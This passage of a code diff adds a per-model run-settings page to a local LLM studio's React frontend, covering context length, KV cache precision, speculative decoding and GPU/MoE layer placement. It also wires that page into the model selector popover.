+            // remembered config keeps stale gpuLayers/nCpuMoe/GPU pick that a
+            // later load re-applies while the page shows Default.
+            update(
+              v === "manual"
+                ? { gpuMemoryMode: "manual" }
+                : {
+                    gpuMemoryMode: "auto",
+                    gpuLayers: undefined,
+                    nCpuMoe: undefined,
+                    selectedGpuIds: undefined,
+                  },
+            )
+          }
+        >
+          <SelectTrigger
+            animateRadius={false}
+            icon={ChevronDownStandardIcon}
+            iconClassName="size-3.5"
+            className={`w-[124px] shrink-0 ${SELECT_TRIGGER_CLASS}`}
+          >
+            <SelectValue />
+          </SelectTrigger>
+          <SelectContent className="menu-soft-surface ring-0 border-0 rounded-lg">
+            <SelectItem value="auto">Default</SelectItem>
+            <SelectItem value="manual">Manual</SelectItem>
+          </SelectContent>
+        </Select>
+      </div>
+      {isManual && (
+        <>
+          <AdvancedGpuSlider
+            label="GPU Layers"
+            value={Math.max(GPU_LAYERS_AUTO, Math.min(gpuLayers, gpuLayersMax))}
+            min={GPU_LAYERS_AUTO}
+            max={gpuLayersMax}
+            onChange={(v) => update({ gpuLayers: v })}
+            displayValue={autoLayers ? "Auto" : undefined}
+            info={
+              <>
+                Layers to keep on the GPU (--gpu-layers); the rest run on CPU.
+                Auto lets llama.cpp size the split (and the context) to fit VRAM.
+                At the maximum, the whole model is on the GPU.
+              </>
+            }
+          />
+          {showMoeSlider && (
+            <AdvancedGpuSlider
+              label="MoE Layers on CPU"
+              value={Math.min(nCpuMoe, moeLayersMax)}
+              min={0}
+              max={moeLayersMax}
+              onChange={(v) => update({ nCpuMoe: v })}
+              info={
+                <>
+                  Keep the experts of this many MoE layers on the CPU
+                  (--n-cpu-moe) to save VRAM. 0 = all experts on the GPU; at the
+                  maximum, all are on the CPU.
+                </>
+              }
+            />
+          )}
+        </>
+      )}
+      {showGpuPicker && (
+        <div className="space-y-2">
+          <div className="flex min-w-0 items-center gap-1.5">
+            <span className={LABEL_CLASS}>GPUs</span>
+            <InfoHint>
+              Which GPUs this model may use. Unchecked GPUs are hidden from
+              llama.cpp (CUDA_VISIBLE_DEVICES, or HIP_VISIBLE_DEVICES on ROCm).
+              Leave all checked to use every GPU. At least one GPU must stay
+              selected.
+            </InfoHint>
+          </div>
+          <div className="flex flex-col gap-2">
+            {gpuDevices.map((d) => (
+              <div
+                key={d.index}
+                className="flex items-center justify-between gap-3"
+              >
+                <span className="min-w-0 truncate text-ui-12 text-nav-fg/80">
+                  GPU {d.index}: {d.name}
+                  {d.memoryTotalGb
+                    ? ` · ${Math.round(d.memoryTotalGb)} GB`
+                    : ""}
+                </span>
+                <Switch
+                  className="panel-switch shrink-0"
+                  checked={isGpuChecked(d.index)}
+                  onCheckedChange={() => toggleGpu(d.index)}
+                  disabled={isGpuChecked(d.index) && singleGpuInUse}
+                />
+              </div>
+            ))}
+          </div>
+        </div>
+      )}
+    </>
+  );
+}
+
+function GgufAdvancedSettings({
+  config,
+  update,
+  isMtp,
+  speculativeFallback,
+  onEditTemplate,
+  layerCount,
+  moeLayerCount,
+}: {
+  config: PerModelConfig;
+  update: (patch: Partial<PerModelConfig>) => void;
+  isMtp: boolean;
+  speculativeFallback: string;
+  onEditTemplate: () => void;
+  layerCount: number | null;
+  moeLayerCount: number | null;
+}) {
+  return (
+    <>
+      <div className={ROW_CLASS}>
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className={LABEL_CLASS}>KV Cache Dtype</span>
+          <InfoHint>
+            Lower KV cache precision to save VRAM at the cost of some quality.
+            f16/bf16 are full precision; q8_0/q5_1/q4_1 are quantized.
+          </InfoHint>
+        </div>
+        <Select
+          value={config.kvCacheDtype ?? KV_CACHE_DTYPE_DEFAULT}
+          onValueChange={(v) =>
+            update({ kvCacheDtype: v === KV_CACHE_DTYPE_DEFAULT ? null : v })
+          }
+        >
+          <SelectTrigger
+            animateRadius={false}
+            icon={ChevronDownStandardIcon}
+            iconClassName="size-3.5"
+            className={`w-[92px] ${SELECT_TRIGGER_CLASS}`}
+          >
+            <SelectValue />
+          </SelectTrigger>
+          <SelectContent className="menu-soft-surface ring-0 border-0 rounded-lg">
+            <SelectItem value={KV_CACHE_DTYPE_DEFAULT}>
+              {KV_CACHE_DTYPE_DEFAULT}
+            </SelectItem>
+            {KV_CACHE_DTYPES.map((dtype) => (
+              <SelectItem key={dtype} value={dtype}>
+                {dtype}
+              </SelectItem>
+            ))}
+          </SelectContent>
+        </Select>
+      </div>
+
+      <div className={ROW_CLASS}>
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className={LABEL_CLASS_WRAP}>Speculative Decoding</span>
+          <InfoHint>
+            Faster generation with no accuracy hit. Auto picks MTP / ngram based
+            on the model and platform. Pick a strategy to force it.
+          </InfoHint>
+        </div>
+        <Select
+          value={config.speculativeType ?? speculativeFallback}
+          onValueChange={(v) =>
+            update({
+              speculativeType: v,
+              specDraftNMax:
+                v === "mtp" || v === "mtp+ngram" ? config.specDraftNMax : null,
+            })
+          }
+        >
+          <SelectTrigger
+            animateRadius={false}
+            icon={ChevronDownStandardIcon}
+            iconClassName="size-3.5"
+            className={`w-[124px] shrink-0 ${SELECT_TRIGGER_CLASS}`}
+          >
+            <SelectValue />
+          </SelectTrigger>
+          <SelectContent className="menu-soft-surface ring-0 border-0 rounded-lg">
+            {SPECULATIVE_TYPES.map((type) => (
+              <SelectItem key={type} value={type}>
+                {SPECULATIVE_TYPE_LABELS[type]}
+              </SelectItem>
+            ))}
+          </SelectContent>
+        </Select>
+      </div>
+
+      {isMtp && (
+        <div className={ROW_CLASS}>
+          <div className="flex min-w-0 items-center gap-1.5">
+            <span className={LABEL_CLASS}>Draft Tokens</span>
+            <InfoHint>
+              Max MTP draft tokens per step. Leave blank for the platform
+              default (2 on GPU, 3 on CPU/Mac).
+            </InfoHint>
+          </div>
+          <input
+            type="number"
+            min={1}
+            max={16}
+            step={1}
+            value={config.specDraftNMax ?? ""}
+            placeholder="auto"
+            onChange={(event) => {
+              const raw = event.target.value;
+              if (raw === "") {
+                update({ specDraftNMax: null });
+                return;
+              }
+              const parsed = Number.parseInt(raw, 10);
+              if (Number.isFinite(parsed)) {
+                update({ specDraftNMax: Math.max(1, Math.min(16, parsed)) });
+              }
+            }}
+            aria-label="Speculative decoding draft tokens"
+            className={NUMBER_INPUT_CLASS}
+          />
+        </div>
+      )}
+
+      <div className={ROW_CLASS}>
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className={LABEL_CLASS}>Tensor Parallelism</span>
+          <InfoHint>
+            No effect on a single GPU. On multi-GPU setups, improves tokens/sec
+            for dense models. MoE models don't benefit.
+          </InfoHint>
+        </div>
+        <Switch
+          className="panel-switch shrink-0"
+          checked={config.tensorParallel}
+          onCheckedChange={(checked) => update({ tensorParallel: checked })}
+        />
+      </div>
+
+      <GpuMemorySettings
+        config={config}
+        update={update}
+        layerCount={layerCount}
+        moeLayerCount={moeLayerCount}
+      />
+
+      <ChatTemplateSetting config={config} onEditTemplate={onEditTemplate} />
+    </>
+  );
+}
+
+interface ModelConfigPageProps {
+  target: ModelPickTarget;
+  onBack?: () => void;
+  onRun: (config: PerModelConfig) => void;
+  loadedConfig?: PerModelConfig | null;
+  loadedContextLength?: number | null;
+  initialConfig?: PerModelConfig | null;
+  variant?: "page" | "sidebar";
+}
+
+export function ModelConfigPage({
+  target,
+  onBack,
+  onRun,
+  loadedConfig = null,
+  loadedContextLength = null,
+  initialConfig = null,
+  variant = "page",
+}: ModelConfigPageProps) {
+  const rememberId = useId();
+  const isActiveModel = loadedConfig != null;
+  const hfToken = useChatRuntimeStore((s) => s.hfToken);
+  const activeNativePathToken = useChatRuntimeStore(
+    (s) => s.activeNativePathToken,
+  );
+  const loadedDefaultChatTemplate = useChatRuntimeStore(
+    (s) => s.defaultChatTemplate,
+  );
+  const loadedMaxContextLength = useChatRuntimeStore(
+    (s) => s.ggufMaxContextLength,
+  );
+  const resolveInitial = () => {
+    const resolved = resolveInitialConfig(target.id, target.ggufVariant);
+    if (loadedConfig) {
+      return { config: loadedConfig, remembered: resolved.remembered };
+    }
+    if (initialConfig) {
+      return {
+        config: initialConfig,
+        remembered:
+          resolved.remembered &&
+          perModelConfigsEqual(initialConfig, resolved.config),
+      };
+    }
+    return resolved;
+  };
+  const [initial] = useState(resolveInitial);
+  const [config, setConfig] = useState<PerModelConfig>(() => initial.config);
+  const [remember, setRemember] = useState(() => initial.remembered);
+  const [savedRemember, setSavedRemember] = useState(() => initial.remembered);
+  const [speculativeFallback] = useState(readPersistedSpeculativeType);
+  const [templateOpen, setTemplateOpen] = useState(false);
+  const [showAdvanced, setShowAdvanced] = useState(() =>
+    hasNonDefaultAdvanced(config),
+  );
+  const nativePathToken =
+    target.meta.nativePathToken ??
+    (isActiveModel ? activeNativePathToken : null);
+  const templateDefaults = useDefaultChatTemplate(
+    target.id,
+    target.ggufVariant,
+    templateOpen,
+    nativePathToken,
+  );
+  const modelMaxPosition = useModelMaxPositionEmbeddings(
+    target.id,
+    !target.isGguf,
+  );
+  const hasLoadedDefaultTemplate =
+    isActiveModel && loadedDefaultChatTemplate != null;
+  const resolvedDefaultTemplate = hasLoadedDefaultTemplate
+    ? loadedDefaultChatTemplate
+    : templateDefaults.template;
+  const resolvedDefaultLoading = hasLoadedDefaultTemplate
+    ? false
+    : templateDefaults.loading;
+
+  const update = (patch: Partial<PerModelConfig>) =>
+    setConfig((current) => ({ ...current, ...patch }));
+
+  // Fetch GGUF header dims (context + layer/MoE counts) to size the GPU Memory
+  // sliders; the context also fills in below when target.meta lacks it.
+  const contextFetchKey = target.isGguf
+    ? `${target.id}\n${target.ggufVariant ?? ""}\n${hfToken || ""}\n${nativePathToken ?? ""}`
+    : null;
+  const [fetchedStagedDims, setFetchedStagedDims] = useState<{
+    key: string;
+    contextLength: number | null;
+    layerCount: number | null;
+    moeLayerCount: number | null;
+  } | null>(null);
+  useEffect(() => {
+    if (contextFetchKey == null) {
+      return;
+    }
+    let cancelled = false;
+    void fetchGgufStagedMetadata({
+      model_path: target.id,
+      gguf_variant: target.ggufVariant ?? null,
+      hf_token: hfToken || null,
+      nativePathToken,
+    })
+      .then((dims) => {
+        if (!cancelled) {
+          setFetchedStagedDims({ key: contextFetchKey, ...dims });
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setFetchedStagedDims({
+            key: contextFetchKey,
+            contextLength: null,
+            layerCount: null,
+            moeLayerCount: null,
+          });
+        }
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [
+    contextFetchKey,
+    target.id,
+    target.ggufVariant,
+    hfToken,
+    nativePathToken,
+  ]);
+  const stagedDims =
+    fetchedStagedDims?.key === contextFetchKey ? fetchedStagedDims : null;
+
+  const isMtp =
+    config.speculativeType != null &&
+    MTP_SPECULATIVE_TYPES.has(config.speculativeType);
+  const nativeContextLength =
+    target.meta.contextLength ?? stagedDims?.contextLength ?? null;
+  const activeLoadedContext =
+    isActiveModel && target.isGguf ? loadedContextLength : null;
+  const minContext = CONTEXT_LENGTH_MIN;
+  const maxContext = Math.max(
+    minContext,
+    Math.max(
+      nativeContextLength ?? 0,
+      activeLoadedContext ?? 0,
+      config.customContextLength ?? 0,
+    ) || 32768,
+  );
+  const contextValue = Math.min(
+    Math.max(
+      config.customContextLength ??
+        activeLoadedContext ??
+        nativeContextLength ??
+        maxContext,
+      minContext,
+    ),
+    maxContext,
+  );
+  const setContextLength = (v: number) =>
+    update({ customContextLength: v });
+  const baseline = loadedConfig ?? DEFAULT_PER_MODEL_CONFIG;
+  const atBaseline = perModelConfigsEqual(config, baseline);
+  // An explicit customContextLength equal to the native ceiling is still an
+  // override (Reset stays enabled). "At default" means no override at all AND the
+  // shown context matches native (or no native context length is exposed).
+  const contextAtDefault =
+    !target.isGguf ||
+    (config.customContextLength == null &&
+      (nativeContextLength == null || contextValue === nativeContextLength));
+  const atDefault =
+    contextAtDefault &&
+    perModelConfigsEqual(
+      { ...config, customContextLength: null },
+      DEFAULT_PER_MODEL_CONFIG,
+    );
+  const nativeMaxSeqLength =
+    floorMaxSeqLength(modelMaxPosition.maxPositionEmbeddings) ??
+    MAX_SEQ_LENGTH_MAX;
+  // A non-GGUF active model seeds maxSeqLength from its loaded value. Once cleared
+  // (Reset sets null), fall back to the app default, not the loaded runtime value,
+  // else a remembered/active override can never be cleared.
+  const maxSeqLengthValue =
+    normalizeMaxSeqLength(config.maxSeqLength) ??
+    clampMaxSeqLength(DEFAULT_MAX_SEQ_LENGTH, nativeMaxSeqLength);
+  const maxSeqLengthMax = Math.max(nativeMaxSeqLength, maxSeqLengthValue);
+  // An auto-fit-below-native GGUF shows activeLoadedContext while
+  // customContextLength stays null. If the user fixes GPU Layers (Manual) and
+  // remembers, pin that shown context so a later fresh load keeps the fitted
+  // placement instead of sending native/0 for fixed layers and recreating the OOM.
+  const pinFixedLayerContext =
+    target.isGguf &&
+    config.gpuMemoryMode === "manual" &&
+    config.gpuLayers != null &&
+    config.gpuLayers >= 0 &&
+    config.customContextLength == null &&
+    activeLoadedContext != null;
+  // Persisted record: keep config as-is (non-GGUF keeps maxSeqLength null) so
+  // isDefaultConfig recognises it and clears a remembered override instead of
+  // pinning the app default.
+  const runtimeConfig = target.isGguf
+    ? pinFixedLayerContext
+      ? { ...config, customContextLength: activeLoadedContext }
+      : config
+    : config;
+  // Load request needs a concrete max length; substitute the fallback here only,
+  // never in the persisted runtimeConfig.
+  const loadConfig = target.isGguf
+    ? runtimeConfig
+    : { ...runtimeConfig, maxSeqLength: maxSeqLengthValue };
+  const rememberChanged = remember !== savedRemember;
+  const persistenceOnly = isActiveModel && atBaseline && rememberChanged;
+  const primaryActionLabel = persistenceOnly
+    ? remember
+      ? "Save settings"
+      : "Forget settings"
+    : isActiveModel
+      ? "Reload model"
+      : "Load model";
+
+  const handleRun = () => {
+    const defaultConfig = isDefaultConfig(runtimeConfig);
+    let saveFailed = false;
+    if (remember) {
+      saveFailed = !savePerModelConfig(
+        target.id,
+        target.ggufVariant,
+        runtimeConfig,
+      );
+    } else {
+      saveFailed = !deletePerModelConfig(target.id, target.ggufVariant);
+    }
+    if (persistenceOnly) {
+      if (saveFailed) {
+        toast.error("Couldn't save settings for this model.");
+        return;
+      }
+      const nextRemember = remember && !defaultConfig;
+      setSavedRemember(nextRemember);
+      setRemember(nextRemember);
+      toast.success(
+        nextRemember
+          ? "Settings saved."
+          : remember
+            ? "Default settings kept."
+            : "Settings forgotten.",
+      );
+      return;
+    }
+    if (saveFailed) {
+      toast.error("Couldn't save these settings, loading with them anyway.");
+    }
+    onRun(loadConfig);
+  };
+
+  return (
+    <div className="flex flex-col">
+      {variant === "page" && (
+        <div className="flex items-center gap-2.5 pb-4">
+          {onBack && (
+            <button
+              type="button"
+              onClick={onBack}
+              className="nav-icon-btn shrink-0 text-nav-icon-idle hover:bg-panel-surface-hover hover:text-black dark:hover:text-white"
+              aria-label="Back to model list"
+            >
+              <HugeiconsIcon
+                icon={ArrowLeft01Icon}
+                className="size-4"
+                strokeWidth={1.75}
+              />
+            </button>
+          )}
+          <div className="min-w-0 flex-1">
+            <div className="text-ui-10 font-semibold uppercase leading-none tracking-wider text-muted-foreground">
+              Run settings
+            </div>
+            <div className="mt-1.5 truncate text-ui-14 font-semibold leading-tight text-nav-fg">
+              {target.displayName}
+            </div>
+          </div>
+        </div>
+      )}
+
+      <div className="space-y-3.5">
+        {target.isGguf && (
+          <>
+            <div className="space-y-3">
+              <div className={ROW_CLASS}>
+                <div className="flex min-w-0 items-center gap-1.5">
+                  <span className={LABEL_CLASS}>Context Length</span>
+                  <InfoHint>
+                    Tokens of context to allocate. Higher uses more VRAM.
+                    {nativeContextLength != null
+                      ? ` This model's native context is ${nativeContextLength.toLocaleString()} tokens.`
+                      : ""}
+                  </InfoHint>
+                </div>
+                <NumericValueInput
+                  value={contextValue}
+                  min={minContext}
+                  max={maxContext}
+                  step={1}
+                  onChange={setContextLength}
+                  displayValue={
+                    config.customContextLength == null &&
+                    nativeContextLength == null &&
+                    activeLoadedContext == null
+                      ? "Auto"
+                      : undefined
+                  }
+                  ariaLabel="Context Length"
+                  className={NUMBER_INPUT_CLASS}
+                  size={8}
+                />
+              </div>
+              {nativeContextLength != null ? (
+                <Slider
+                  min={minContext}
+                  max={maxContext}
+                  step={128}
+                  value={[contextValue]}
+                  onValueChange={([v]) => setContextLength(v)}
+                  className="panel-slider"
+                  aria-label="Context Length"
+                />
+              ) : null}
+              {isActiveModel &&
+                loadedMaxContextLength != null &&
+                contextValue > loadedMaxContextLength && (
+                  <p className="text-ui-11 text-amber-500">
+                    Exceeds estimated VRAM capacity (
+                    {loadedMaxContextLength.toLocaleString()} tokens). The model
+                    may use system RAM.
+                  </p>
+                )}
+            </div>
+
+            {showAdvanced && (
+              <GgufAdvancedSettings
+                config={config}
+                update={update}
+                isMtp={isMtp}
+                speculativeFallback={speculativeFallback}
+                onEditTemplate={() => setTemplateOpen(true)}
+                layerCount={stagedDims?.layerCount ?? null}
+                moeLayerCount={stagedDims?.moeLayerCount ?? null}
+              />
+            )}
+
+            <div className={ROW_CLASS}>
+              <div className="flex min-w-0 items-center gap-1.5">
+                <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-muted-foreground">
+                  Advanced settings
+                </span>
+                <InfoHint>
+                  Extra options for how the model loads. Most setups don't need
+                  these.
+                </InfoHint>
+              </div>
+              <Switch
+                className="panel-switch shrink-0"
+                checked={showAdvanced}
+                onCheckedChange={setShowAdvanced}
+                aria-label="Show advanced settings"
+              />
+            </div>
+          </>
+        )}
+        {!target.isGguf && (
+          <>
+            <MaxSeqLengthSetting
+              value={maxSeqLengthValue}
+              max={maxSeqLengthMax}
+              inputMax={MAX_SEQ_LENGTH_MAX}
+              onChange={(value) =>
+                update({
+                  maxSeqLength: clampMaxSeqLength(value, MAX_SEQ_LENGTH_MAX),
+                })
+              }
+            />
+            <ChatTemplateSetting
+              config={config}
+              onEditTemplate={() => setTemplateOpen(true)}
+              readOnly={true}
+            />
+          </>
+        )}
+      </div>
+
+      <div
+        className={
+          variant === "sidebar"
+            ? "mt-4 flex flex-col gap-3 border-t border-border/60 pt-4"
+            : "mt-4 flex items-center justify-between gap-3 border-t border-border/60 pt-4"
+        }
+      >
+        <div className="flex min-w-0 items-center gap-2">
+          <Checkbox
+            id={rememberId}
+            checked={remember}
+            onCheckedChange={(checked) => setRemember(checked === true)}
+          />
+          <label
+            htmlFor={rememberId}
+            className="cursor-pointer select-none truncate text-ui-13 text-nav-fg"
+          >
+            Remember for this model
+          </label>
+        </div>
+        <div
+          className={
+            variant === "sidebar"
+              ? "flex items-center justify-end gap-2"
+              : "flex shrink-0 items-center gap-2"
+          }
+        >
+          <Button
+            type="button"
+            variant="ghost"
+            size="sm"
+            className="h-8"
+            disabled={atDefault}
+            onClick={() => setConfig({ ...DEFAULT_PER_MODEL_CONFIG })}
+          >
+            Reset
+          </Button>
+          <Button
+            type="button"
+            size="sm"
+            className="h-8"
+            disabled={isActiveModel && atBaseline && !rememberChanged}
+            onClick={handleRun}
+          >
+            {primaryActionLabel}
+          </Button>
+        </div>
+      </div>
+
+      <ChatTemplateEditorDialog
+        open={templateOpen}
+        onOpenChange={setTemplateOpen}
+        value={config.chatTemplateOverride}
+        defaultTemplate={resolvedDefaultTemplate}
+        defaultLoading={resolvedDefaultLoading}
+        readOnly={!target.isGguf}
+        onSave={(override) => update({ chatTemplateOverride: override })}
+      />
+    </div>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/features/model-picker/components/model-selector.tsx
similarity index 82%
rename from studio/frontend/src/components/assistant-ui/model-selector.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector.tsx
index 1fddf077ba..cda6e49e24 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector.tsx
@@ -3,6 +3,7 @@
 
 "use client";
 
+import { Input } from "@/components/ui/input";
 import {
   Popover,
   PopoverContent,
@@ -10,7 +11,7 @@ import {
 } from "@/components/ui/popover";
 import { TooltipProvider } from "@/components/ui/tooltip";
 import { usePlatformStore } from "@/config/env";
-import { isCustomProviderType } from "@/features/chat/external-providers";
+import { isCustomProviderType } from "@/features/chat";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
@@ -33,7 +34,11 @@ import {
   useRef,
   useState,
 } from "react";
-import { Input } from "../ui/input";
+import {
+  type PerModelConfig,
+  resolveInitialConfig,
+} from "../model-config/per-model-config";
+import { ModelConfigPage } from "./model-config-page";
 import { HubModelPicker, hasDownloadedModels } from "./model-selector/pickers";
 import { PillTabs } from "./model-selector/pill-tabs";
 import {
@@ -45,6 +50,7 @@ import type {
   ExternalModelOption,
   LoraModelOption,
   ModelOption,
+  ModelPickTarget,
   ModelSelectorChangeMeta,
 } from "./model-selector/types";
 
@@ -122,6 +128,10 @@ interface ModelSelectorProps {
   value?: string;
   defaultValue?: string;
   activeGgufVariant?: string | null;
+  activeModelConfig?: PerModelConfig | null;
+  activeGgufContextLength?: number | null;
+  selectedConfig?: PerModelConfig | null;
+  selectedGgufVariant?: string | null;
   onValueChange?: (value: string, meta: ModelSelectorChangeMeta) => void;
   onEject?: () => void;
   onFoldersChange?: () => void;
@@ -168,9 +178,9 @@ function ModelSelectorTrigger({
           // Suppress the pill's hover background while the eject hit area is
           // hovered, so only the dot's own circle reacts.
           variant === "outline" &&
-            "rounded-full border border-border/60 hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
+            "rounded-full border border-border/60 hover:bg-accent has-[[data-eject-hit]:hover]:!bg-transparent",
           variant === "ghost" &&
-            "rounded-full hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
+            "rounded-full hover:bg-accent has-[[data-eject-hit]:hover]:!bg-transparent",
           variant === "muted" &&
             "rounded-full bg-muted hover:bg-muted/80 has-[[data-eject-hit]:hover]:!bg-muted",
           // More left padding than right; the chevron is pulled close to the
@@ -183,15 +193,12 @@ function ModelSelectorTrigger({
       >
         {isLoaded &&
           (onEject ? (
-            // Loaded status doubles as a mouse eject shortcut: green checkmark
-            // at rest, red eject icon on pill hover, click to eject. A plain
-            // span (no role/tabIndex) keeps it out of the trigger button's
-            // content model, which forbids focusable descendants. Keyboard and
-            // screen-reader users eject via the picker's "Eject model" button.
-            // aria-hidden marks it decorative; stopPropagation stops the
-            // popover from toggling. On touch (no hover) the eject icon and
-            // tooltip never reveal, so pointer-events-none disables the
-            // shortcut there and taps open the picker instead of ejecting.
+            // Loaded status doubles as a mouse eject shortcut (checkmark at rest,
+            // eject icon on hover). A plain span keeps it out of the trigger
+            // button's content model (no focusable descendants); keyboard/SR users
+            // eject via the "Eject model" button. aria-hidden marks it decorative;
+            // stopPropagation stops the popover toggling. On touch (no hover)
+            // pointer-events-none disables it so taps open the picker instead.
             <span
               aria-hidden={true}
               title="Eject model"
@@ -225,7 +232,7 @@ function ModelSelectorTrigger({
           </span>
         ) : null}
         <span className="flex min-w-0 flex-1 items-baseline">
-          <span className="min-w-0 flex flex-1 items-baseline truncate font-heading text-[16px] font-medium leading-tight text-black dark:text-white">
+          <span className="min-w-0 flex flex-1 items-baseline truncate font-heading text-ui-16 font-medium leading-tight text-black dark:text-white">
             {currentModel?.name ?? "Select model"}
             {showCloudIndicator ? (
               <HugeiconsIcon
@@ -285,7 +292,8 @@ function saveLastHubSection(section: HubSection): void {
 // when they have downloads, else Recommended.
 function defaultHubSection(): HubSection {
   return (
-    loadLastHubSection() ?? (hasDownloadedModels() ? "downloaded" : "recommended")
+    loadLastHubSection() ??
+    (hasDownloadedModels() ? "downloaded" : "recommended")
   );
 }
 
@@ -308,6 +316,11 @@ function ModelSelectorContent({
   loraModels,
   externalModels,
   value,
+  activeGgufVariant,
+  activeModelConfig,
+  activeGgufContextLength,
+  selectedConfig,
+  selectedGgufVariant,
   onSelect,
   onEject,
   onFoldersChange,
@@ -323,6 +336,11 @@ function ModelSelectorContent({
   loraModels: LoraModelOption[];
   externalModels: ExternalModelOption[];
   value?: string;
+  activeGgufVariant?: string | null;
+  activeModelConfig?: PerModelConfig | null;
+  activeGgufContextLength?: number | null;
+  selectedConfig?: PerModelConfig | null;
+  selectedGgufVariant?: string | null;
   onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
   onEject?: () => void;
   onFoldersChange?: () => void;
@@ -337,8 +355,7 @@ function ModelSelectorContent({
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const hasExternal = externalModels.length > 0;
   // The Fine-tuned tab is for fine-tuned models only. Local models (LM Studio,
-  // Ollama, custom folders) carry source "local" and live in the Hub tab's
-  // Downloaded / Custom sections instead.
+  // Ollama, custom folders) carry source "local" and live in the Hub tab instead.
   const fineTunedModels = useMemo(
     () => loraModels.filter((model) => isFineTunedSource(model.source)),
     [loraModels],
@@ -391,9 +408,12 @@ function ModelSelectorContent({
   const effectiveHubSection: HubSection =
     hubSection === "connected" && !hasExternal ? "recommended" : hubSection;
 
-  // The picker below remounts on each open, but this tab state does not, so a
-  // persisted selection that lands in lora/external after async load would
-  // reopen on Hub. Re-derive the default tab on the open edge.
+  const [configTarget, setConfigTarget] = useState<ModelPickTarget | null>(
+    null,
+  );
+
+  // The picker remounts on each open but this tab state does not, so re-derive
+  // the default tab on the open edge (else a lora/external selection reopens on Hub).
   const wasOpen = useRef(open);
   useEffect(() => {
     if (open && !wasOpen.current) {
@@ -402,6 +422,9 @@ function ModelSelectorContent({
       // user has downloads, else their last section.
       setHubSection(wantsConnectedDefault ? "connected" : defaultHubSection());
     }
+    if (!open && wasOpen.current) {
+      setConfigTarget(null);
+    }
     wasOpen.current = open;
   }, [
     open,
@@ -452,6 +475,29 @@ function ModelSelectorContent({
     }
   }
 
+  const visibleConfigTarget = open ? configTarget : null;
+  const openConfigPage = (id: string, meta: ModelSelectorChangeMeta) => {
+    const leaf = id.includes("/") ? id.slice(id.lastIndexOf("/") + 1) : id;
+    setConfigTarget({
+      id,
+      displayName: meta.ggufVariant ? `${leaf} · ${meta.ggufVariant}` : leaf,
+      ggufVariant: meta.ggufVariant ?? null,
+      isGguf: meta.isGguf ?? Boolean(meta.ggufVariant),
+      meta,
+    });
+  };
+  const handlePick = (id: string, meta: ModelSelectorChangeMeta) => {
+    if (meta.source === "external") {
+      onSelect(id, meta);
+      return;
+    }
+    const resolved = resolveInitialConfig(id, meta.ggufVariant);
+    onSelect(id, {
+      ...meta,
+      ...(resolved.remembered ? { config: resolved.config } : {}),
+    });
+  };
+
   return (
     <PopoverContent
       align="start"
@@ -459,12 +505,17 @@ function ModelSelectorContent({
       data-tour={dataTour}
       onKeyDown={handlePickerEntryKeyDown}
       className={cn(
-        "unsloth-model-selector-menu menu-soft-surface ring-0 max-w-[calc(100vw-1rem)] min-w-0 gap-0 pt-4 pb-0 pl-4",
-        // Sized so the left-packed row keeps uniform gaps and the last dropdown's
-        // right gap matches the pill's left gap (pl-4 vs pr-4).
-        hasExternal
-          ? "w-[min(614px,calc(100vw-1rem))] pr-4"
-          : "w-[min(506px,calc(100vw-1rem))] pr-2",
+        "unsloth-model-selector-menu menu-soft-surface ring-0 max-w-[calc(100vw-1rem)] min-w-0 gap-0",
+        visibleConfigTarget
+          ? "w-[min(468px,calc(100vw-1rem))] px-4 pt-4 pb-4"
+          : cn(
+              "pt-4 pb-0 pl-4",
+              // Sized so the left-packed row keeps uniform gaps and the last
+              // dropdown's right gap matches the pill's left gap (pl-4 vs pr-4).
+              hasExternal
+                ? "w-[min(614px,calc(100vw-1rem))] pr-4"
+                : "w-[min(506px,calc(100vw-1rem))] pr-2",
+            ),
         className,
       )}
     >
@@ -477,6 +528,42 @@ function ModelSelectorContent({
         skipDelayDuration={0}
         disableHoverableContent={true}
       >
+        {visibleConfigTarget ? (
+          <ModelConfigPage
+            key={`${visibleConfigTarget.id}::${visibleConfigTarget.ggufVariant ?? ""}`}
+            target={visibleConfigTarget}
+            onBack={() => setConfigTarget(null)}
+            onRun={(config) =>
+              onSelect(visibleConfigTarget.id, {
+                ...visibleConfigTarget.meta,
+                config,
+                forceReload: true,
+              })
+            }
+            loadedConfig={
+              value === visibleConfigTarget.id &&
+              (activeGgufVariant ?? null) ===
+                (visibleConfigTarget.ggufVariant ?? null)
+                ? (activeModelConfig ?? null)
+                : null
+            }
+            loadedContextLength={
+              value === visibleConfigTarget.id &&
+              (activeGgufVariant ?? null) ===
+                (visibleConfigTarget.ggufVariant ?? null)
+                ? (activeGgufContextLength ?? null)
+                : null
+            }
+            initialConfig={
+              value === visibleConfigTarget.id &&
+              (selectedGgufVariant ?? null) ===
+                (visibleConfigTarget.ggufVariant ?? null)
+                ? (selectedConfig ?? null)
+                : null
+            }
+          />
+        ) : (
+          <>
         {tabs.length > 1 ? (
           <PillTabs
             ariaLabel="Model source"
@@ -494,13 +581,14 @@ function ModelSelectorContent({
             loraModels={fineTunedModels}
             externalModels={externalModels}
             value={value}
-            onSelect={onSelect}
+            onSelect={handlePick}
             onFoldersChange={onFoldersChange}
             onBrowseHub={onBrowseHub}
             onModelsChange={onModelsChange}
+            onConfigure={openConfigPage}
             deleteDisabled={deleteDisabled}
-            section={effectiveHubSection}
             onEject={hasSelection && onEject ? onEject : undefined}
+            section={effectiveHubSection}
             sectionToggle={
               <PillTabs
                 ariaLabel="Hub section"
@@ -538,10 +626,8 @@ function ModelSelectorContent({
             </button>
           </div>
         ) : null}
-        {/* Hub renders Eject inline as the last list row; other tabs keep the
-          footer button. */}
         {effectiveTab !== "hub" && hasSelection && onEject ? (
